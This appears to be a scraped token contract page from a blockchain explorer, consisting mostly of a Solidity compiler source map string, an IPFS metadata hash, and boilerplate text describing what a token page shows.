8:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2528:127::-;2589:10;2584:3;2580:20;2577:1;2570:31;2620:4;2617:1;2610:15;2644:4;2641:1;2634:15;2660:1191;2753:6;2761;2814:2;2802:9;2793:7;2789:23;2785:32;2782:52;;;2830:1;2827;2820:12;2782:52;2870:9;2857:23;2899:18;2940:2;2932:6;2929:14;2926:34;;;2956:1;2953;2946:12;2926:34;2994:6;2983:9;2979:22;2969:32;;3039:7;3032:4;3028:2;3024:13;3020:27;3010:55;;3061:1;3058;3051:12;3010:55;3097:2;3084:16;3119:4;3142:2;3138;3135:10;3132:36;;;3148:18;;:::i;:::-;3194:2;3191:1;3187:10;3226:2;3220:9;3289:2;3285:7;3280:2;3276;3272:11;3268:25;3260:6;3256:38;3344:6;3332:10;3329:22;3324:2;3312:10;3309:18;3306:46;3303:72;;;3355:18;;:::i;:::-;3391:2;3384:22;3441:18;;;3475:15;;;;-1:-1:-1;3517:11:1;;;3513:20;;;3545:19;;;3542:39;;;3577:1;3574;3567:12;3542:39;3601:11;;;;3621:148;3637:6;3632:3;3629:15;3621:148;;;3703:23;3722:3;3703:23;:::i;:::-;3691:36;;3654:12;;;;3747;;;;3621:148;;;3788:6;3826:18;;;;3813:32;;-1:-1:-1;;;;;;;2660:1191:1:o;3856:260::-;3924:6;3932;3985:2;3973:9;3964:7;3960:23;3956:32;3953:52;;;4001:1;3998;3991:12;3953:52;4024:29;4043:9;4024:29;:::i;:::-;4014:39;;4072:38;4106:2;4095:9;4091:18;4072:38;:::i;:::-;4062:48;;3856:260;;;;;:::o;4121:380::-;4200:1;4196:12;;;;4243;;;4264:61;;4318:4;4310:6;4306:17;4296:27;;4264:61;4371:2;4363:6;4360:14;4340:18;4337:38;4334:161;;4417:10;4412:3;4408:20;4405:1;4398:31;4452:4;4449:1;4442:15;4480:4;4477:1;4470:15;4334:161;;4121:380;;;:::o;4506:127::-;4567:10;4562:3;4558:20;4555:1;4548:31;4598:4;4595:1;4588:15;4622:4;4619:1;4612:15;4638:128;4705:9;;;4726:11;;;4723:37;;;4740:18;;:::i;4771:422::-;4860:1;4903:5;4860:1;4917:270;4938:7;4928:8;4925:21;4917:270;;;4997:4;4993:1;4989:6;4985:17;4979:4;4976:27;4973:53;;;5006:18;;:::i;:::-;5056:7;5046:8;5042:22;5039:55;;;5076:16;;;;5039:55;5155:22;;;;5115:15;;;;4917:270;;;4921:3;4771:422;;;;;:::o;5198:806::-;5247:5;5277:8;5267:80;;-1:-1:-1;5318:1:1;5332:5;;5267:80;5366:4;5356:76;;-1:-1:-1;5403:1:1;5417:5;;5356:76;5448:4;5466:1;5461:59;;;;5534:1;5529:130;;;;5441:218;;5461:59;5491:1;5482:10;;5505:5;;;5529:130;5566:3;5556:8;5553:17;5550:43;;;5573:18;;:::i;:::-;-1:-1:-1;;5629:1:1;5615:16;;5644:5;;5441:218;;5743:2;5733:8;5730:16;5724:3;5718:4;5715:13;5711:36;5705:2;5695:8;5692:16;5687:2;5681:4;5678:12;5674:35;5671:77;5668:159;;;-1:-1:-1;5780:19:1;;;5812:5;;5668:159;5859:34;5884:8;5878:4;5859:34;:::i;:::-;5929:6;5925:1;5921:6;5917:19;5908:7;5905:32;5902:58;;;5940:18;;:::i;:::-;5978:20;;5198:806;-1:-1:-1;;;5198:806:1:o;6009:140::-;6067:5;6096:47;6137:4;6127:8;6123:19;6117:4;6096:47;:::i;6154:168::-;6227:9;;;6258;;6275:15;;;6269:22;;6255:37;6245:71;;6296:18;;:::i;6661:127::-;6722:10;6717:3;6713:20;6710:1;6703:31;6753:4;6750:1;6743:15;6777:4;6774:1;6767:15;6793:135;6832:3;6853:17;;;6850:43;;6873:18;;:::i;:::-;-1:-1:-1;6920:1:1;6909:13;;6793:135::o;6933:217::-;6973:1;6999;6989:132;;7043:10;7038:3;7034:20;7031:1;7024:31;7078:4;7075:1;7068:15;7106:4;7103:1;7096:15;6989:132;-1:-1:-1;7135:9:1;;6933:217::o;7155:125::-;7220:9;;;7241:10;;;7238:36;;;7254:18;;:::i
Swarm Source
ipfs://d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.